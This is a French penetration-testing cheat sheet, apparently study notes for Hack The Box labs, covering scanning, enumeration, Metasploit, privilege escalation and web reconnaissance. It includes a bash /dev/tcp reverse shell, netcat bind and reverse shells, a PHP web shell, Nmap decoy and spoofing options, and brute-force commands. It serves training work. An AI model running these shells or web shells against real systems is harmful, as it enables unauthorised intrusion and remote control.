Commandes utiles
Cette page regroupe certaines des commandes qui m'on été utiles tout au long de cette SideQuest.
🔌 Connexion & Réseau
sudo openvpn user.ovpn
Connexion au VPN HTB
ifconfig
/ ip a
Affiche l’adresse IP de la machine
netstat -rn
Routes réseau (VPN inclus)
ssh user@IP
Connexion SSH à une machine distante
ftp IP
Connexion FTP à une machine
🧰 Shells et accès distant
nc -lvnp 1234
Lance un listener Netcat en attente de reverse
bash -c 'bash -i >& /dev/tcp/IP/1234 0>&1'
Reverse shell Bash
rm ... | nc IP 1234 > /tmp/f
Reverse shell (alternative)
nc -lvp 1234 -e /bin/bash
Bind shell (côté cible)
nc IP 1234
Connexion à un bind shell
python -c 'import pty; pty.spawn(\"/bin/bash\")'
Upgrade shell (TTY)
ctrl+Z
, stty raw -echo
, fg
Suite pour TTY complet
🌐 Web Shells
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php
Création d’un Web Shell PHP
curl http://IP/shell.php?cmd=id
Exécution de commande via Web Shell
🔍 Scans & Enumeration
nmap IP
Scan de base avec Nmap
nmap -sV -sC -p- IP
Scan complet avec détection de version + scripts
whatweb IP
Détection de techno Web
gobuster dir -u http://IP -w /path/to/wordlist.txt
Fuzz de répertoires
curl -IL http://IP
En-têtes HTTP
curl IP/robots.txt
Lecture du fichier robots.txt
🔓 Public Exploits & Metasploit
searchsploit openssh 7.2
Recherche d’exploit public
msfconsole
Lancer Metasploit
search exploit <nom>
Rechercher un module dans MSF
use exploit/...
Utiliser un module
set RHOSTS IP
Définir la cible
exploit
Lancer l’exploit
🔐 Élévation de privilèges
./linpeas.sh
Script d’énumération Linux
sudo -l
Voir les commandes sudo accessibles
sudo su
Passer root (si autorisé)
ssh-keygen -f key
Générer une paire de clés SSH
ssh root@IP -i key
Connexion SSH avec clé privée
📁 Transfert de fichiers
python3 -m http.server 8000
Serveur HTTP local pour téléchargement
wget http://IP:8000/file
Télécharger un fichier sur la cible
curl http://IP:8000/file -o file
Autre méthode de téléchargement
scp file user@host:/path/
Transférer un fichier avec SCP
base64 file -w 0
/ base64 -d
Encoder/décoder un fichier
🛠️ Commandes Utiles – Énumération Réseau avec Nmap
L'outil Nmap (Network Mapper) est incontournable dans toute phase de reconnaissance réseau durant un test d’intrusion. Il permet de découvrir les hôtes actifs, d’identifier les ports ouverts, de détecter les services et même d’inférer le système d’exploitation cible.
Ce chapitre centralise les commandes les plus pertinentes de Nmap, classées par catégorie, pour t’accompagner dans l’énumération réseau.
🔍 Scans de base
nmap 10.10.10.0/24
Scan d’un réseau complet.
nmap -sn 10.10.10.1
Ping scan (découverte des hôtes sans scan de ports).
nmap -Pn 10.10.10.1
Ignore les requêtes ICMP (utile quand le ping est bloqué).
nmap -n 10.10.10.1
Désactive la résolution DNS (plus rapide).
nmap -p- 10.10.10.1
Scan de tous les ports (1 à 65535).
nmap -p22-110 10.10.10.1
Scan des ports compris entre 22 et 110.
nmap -F 10.10.10.1
Scan rapide des 100 ports les plus courants.
nmap -p22,25 10.10.10.1
Scan ciblé sur les ports 22 et 25 uniquement.
🎯 Types de scans
-sS
Scan SYN (furtif).
-sA
Scan ACK (utile pour contourner certains pare-feux).
-sU
Scan UDP.
-sV
Détection de versions des services.
-sC
Scan avec les scripts de base (équivalent à --script=default
).
--script=<script>
Scan avec un script Nmap spécifique.
🧠 Détection du système & analyse approfondie
-O
Détection du système d’exploitation (OS detection).
-A
OS detection, version des services, traceroute et script scan.
--reason
Affiche la raison de la détection (utile pour comprendre les résultats).
--packet-trace
Affiche tous les paquets envoyés et reçus.
--disable-arp-ping
Désactive les requêtes ARP (pour ne pas éveiller de suspicion).
--top-ports=<num>
Scanne les ports les plus fréquemment utilisés.
🕵️ Techniques d’évasion et anonymisation
-D RND:5
Utilise 5 décoys (fausses IP) pour anonymiser le scan.
-e <interface>
Spécifie l’interface réseau à utiliser.
-S <IP>
Spécifie une IP source falsifiée.
-g <port>
Spécifie un port source (utile pour contourner filtrage).
🧪 Optimisation des performances
--max-retries <num>
Nombre maximum de tentatives par port.
--stats-every=5s
Affiche le statut toutes les 5 secondes.
-v
/ -vv
Mode verbeux (très utile en debug).
--initial-rtt-timeout 50ms
Temps d’attente initial pour RTT.
--max-rtt-timeout 100ms
Temps d’attente maximum pour RTT.
--min-rate 300
Taux minimum d’envoi de paquets.
-T<0-5>
Template de timing (0 = paranoid, 5 = agressif).
📤 Options de sortie
-oA <filename>
Sauvegarde les résultats dans tous les formats (normal, XML, grepable).
-oN <filename>
Sauvegarde au format "normal".
-oG <filename>
Sauvegarde au format "grepable" (utile pour parsing via scripts).
-oX <filename>
Sauvegarde au format XML.
📡 Infrastructure-based Enumeration
`curl -s "https://crt.sh/?q=<domaine>&output=json"
jq .`
for i in $(cat ip-addresses.txt); do shodan host $i; done
Scanne chaque adresse IP listée avec Shodan.
📁 SMB (Server Message Block)
smbclient -N -L //<IP>
Liste les partages SMB avec une session nulle.
smbclient //<IP>/<partage>
Se connecte à un partage SMB spécifique.
rpcclient -U "" <IP>
Interagit avec le service RPC.
samrdump.py <IP>
Énumère les utilisateurs avec le script Impacket.
smbmap -H <IP>
Énumère les partages SMB.
crackmapexec smb <IP> --shares -u '' -p ''
Énumère les partages SMB avec une session nulle.
enum4linux-ng.py <IP> -A
Énumération complète SMB (enum4linux-ng).
📂 NFS (Network File System)
showmount -e <IP>
Liste les partages NFS disponibles.
mount -t nfs <IP>:/<partage> ./target-NFS/ -o nolock
Monte un partage NFS localement.
umount ./target-NFS
Démontre un partage NFS local.
ls -l ./target-NFS/
Liste les fichiers avec utilisateurs et groupes.
ls -n ./target-NFS/
Liste les fichiers avec UID et GID numériques.
🧠 DNS
dig ns <domaine> @<serveur>
Requête NS au serveur DNS.
dig any <domaine> @<serveur>
Requête ANY.
dig axfr <domaine> @<serveur>
Tentative de transfert de zone (AXFR).
dnsenum --dnsserver <serveur> --enum -p 0 -s 0 -o subdomains.txt -f ~/subdomains.list <domaine>
Brute force des sous-domaines.
📧 SMTP / IMAP / POP3
telnet <IP> 25
Connexion manuelle SMTP.
curl -k 'imaps://<IP>' --user <user>:<pass>
Connexion IMAPS avec curl.
openssl s_client -connect <IP>:imaps
Connexion sécurisée à IMAPS.
openssl s_client -connect <IP>:pop3s
Connexion sécurisée à POP3s.
🛰️ SNMP
snmpwalk -v2c -c <community> <IP>
Interroge les OIDs SNMP.
onesixtyone -c community-strings.list <IP>
Brute force des chaînes communautaires.
braa <community>@<IP>:.1.*
Brute force des OIDs.
🐬 MySQL
mysql -u <utilisateur> -p<mot_de_passe> -h <IP>
Connexion MySQL.
🏢 MSSQL
mssqlclient.py <user>@<IP> -windows-auth
Connexion MSSQL via authentification Windows.
🔐 Linux Remote Management
ssh-audit.py <IP>
Audit de sécurité SSH.
ssh <user>@<IP>
Connexion SSH.
ssh -i clé.pem <user>@<IP>
Connexion SSH avec clé privée.
ssh <user>@<IP> -o PreferredAuthentications=password
Force l’utilisation de l’authentification par mot de passe.
🪟 Windows Remote Management
rdp-sec-check.pl <IP>
Vérifie la sécurité du service RDP.
xfreerdp /u:<user> /p:"<password>" /v:<IP>
Connexion RDP depuis Linux.
evil-winrm -i <IP> -u <user> -p <password>
Connexion WinRM.
wmiexec.py <user>:"<motdepasse>"@<IP> "commande"
Exécute une commande via WMI.
🗃️ Oracle TNS
./odat.py all -s <IP>
Scan Oracle TNS.
sqlplus <user>/<pass>@<IP>/<db>
Connexion Oracle via SQLPlus.
./odat.py utlfile -s <IP> -d <db> -U <user> -P <pass> --sysdba --putFile C:\\path fichier.txt ./fichier.txt
Upload de fichier via Oracle.
🧰 Commandes Utiles - Web Reconnaissance
🌐 WHOIS Lookup
Rechercher des informations sur le domaine, comme le propriétaire, les dates d'enregistrement, les serveurs DNS, etc.
whois example.com
📡 DNS Enumeration
🔍 Recherche d'enregistrements DNS (A, MX, TXT, etc.)
dig example.com A
dig example.com MX
dig example.com TXT
🔁 Transfert de zone DNS (si mal configuré)
dig @ns1.example.com example.com axfr
🧩 Subdomain Enumeration
📘 Méthode active (brute force)
dnsenum example.com -f subdomains.txt
📘 Méthode passive (Certificate Transparency)
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
🖥️ Virtual Host Discovery
🔎 Brute-force de vhosts avec Gobuster
gobuster vhost -u http://<IP> -w hostnames.txt
🕷️ Web Crawling / Spidering
📄 Analyse du fichier robots.txt
curl http://example.com/robots.txt
🧬 Exemple de spider avec Scrapy (Python)
import scrapy
class ExampleSpider(scrapy.Spider):
name = "example"
start_urls = ['http://example.com/']
def parse(self, response):
for link in response.css('a::attr(href)').getall():
yield response.follow(link, callback=self.parse)
🔎 Google Dorking (Reconnaissance via moteur de recherche)
site:
Restreint la recherche à un site
site:example.com login
inurl:
Recherche dans les URLs
inurl:admin
filetype:
Recherche des types de fichiers spécifiques
filetype:pdf confidential
intitle:
Recherche dans le titre des pages
intitle:"index of"
"term"
Recherche exacte
"internal use only"
OR
Combine deux recherches
inurl:admin OR inurl:login
-
Exclut un terme
inurl:admin -wordpress
🕰️ Web Archives (Wayback Machine)
🔍 Recherche de versions anciennes de sites
curl https://web.archive.org/cdx/search/cdx?url=example.com/*&output=text
Mis à jour